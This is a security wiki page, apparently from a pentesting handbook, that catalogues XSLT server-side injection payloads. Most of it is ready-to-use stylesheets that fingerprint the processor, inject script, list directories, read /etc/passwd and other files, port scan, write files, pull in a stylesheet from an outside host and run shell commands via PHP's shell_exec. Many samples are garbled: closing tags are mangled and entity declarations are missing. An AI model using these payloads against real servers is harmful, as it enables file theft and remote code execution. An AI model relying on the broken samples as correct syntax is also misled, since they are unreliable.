XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

It is used to transform XML documents in another kind. Versions: 1, 2 and 3 (1 is the most used). The transformation can be done in the server or in the browser).

The most used frameworks are: Libxslt (Gnome), Xalan (Apache) and Saxon (Saxonica).

In order to exploit this kind of vulnerability you need to be able to store xsl tags in the server side and then access that content. An example of this kind of vulnerability can be found on https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/

Fingerprint

Upload this and take information

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"> Version: <xsl:value-of select="system-property('xsl:version')" /><br /> Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br /> Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br /> <xsl:if test="system-property('xsl:product-name')"> Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br /> xsl:if> <xsl:if test="system-property('xsl:product-version')"> Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br /> xsl:if> <xsl:if test="system-property('xsl:is-schema-aware')"> Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br /> xsl:if> <xsl:if test="system-property('xsl:supports-serialization')"> Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"/><br /> xsl:if> <xsl:if test="system-property('xsl:supports-backwards-compatibility')"> Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"/><br /> xsl:if>xsl:template>xsl:stylesheet>

External HTTP Request

<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">esi:include>

Javascript Injection

<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><script>confirm("We're good");script>xsl:template>xsl:stylesheet>

Directory listing (PHP)

Opendir + readdir

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('opendir','/path/to/dir')"/><xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -<xsl:value-of select="php:function('readdir')"/> -xsl:template>xsl:stylesheet>

Assert (var_dump + scandir + false)

<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">        <xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />        <br />    body>html>

Read files

Internal

]><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/">&ext_file;xsl:template>xsl:stylesheet>

Through HTTP

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:template match="/"><xsl:value-of select="document('/etc/passwd')"/>xsl:template>xsl:stylesheet>

]><xsl:template match="/">&passwd;xsl:template>

Internal (PHP)

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>xsl:template>xsl:stylesheet>

<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">    <body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">        <xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />        <br />    body>html>

Port scan

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="document('http://example.com:22')"/>xsl:template>xsl:stylesheet>

Write to a file

XSLT 2.0

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:result-document href="local_file.txt"><xsl:text>Write Local Filexsl:text>xsl:result-document>xsl:template>xsl:stylesheet>

Xalan-J extension

<xsl:template match="/"><redirect:open file="local_file.txt"/><redirect:write file="local_file.txt"/> Write Local Fileredirect:write><redirect:close file="loxal_file.txt"/>xsl:template>

Other ways to write files in the PDF

Include external XSL

<xsl:include href="http://extenal.web/external.xsl"/>

Execute code

php:function

<xsl:stylesheet version="1.0"xmlns:xsl="http://www.w3.org/1999/XSL/Transform"xmlns:php="http://php.net/xsl" ><xsl:template match="/"><xsl:value-of select="php:function('shell_exec','sleep 10')" />xsl:template>xsl:stylesheet>

<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"><body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE"><xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" /><br />body>html>

Execute code using other frameworks in the PDF

More Languages

In this page you can find examples of RCE in other languajes: https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection#C%23%2FVB.NET%2FASP.NET (C#, Java, PHP)

References

上一页XXE - XEE - XML External Entity 下一页XPATH injection

最后更新于4年前

这有帮助吗？

hashtagFingerprint

hashtagExternal HTTP Request

hashtagJavascript Injection

hashtagDirectory listing (PHP)

hashtagOpendir + readdir

hashtagAssert (var_dump + scandir + false)

hashtagRead files

hashtagInternal

hashtagThrough HTTP

hashtagInternal (PHP)

hashtagPort scan

hashtagWrite to a file

hashtagXSLT 2.0

hashtagXalan-J extension

hashtagInclude external XSL

hashtagExecute code

hashtagphp:function

hashtagMore Languages

hashtagReferences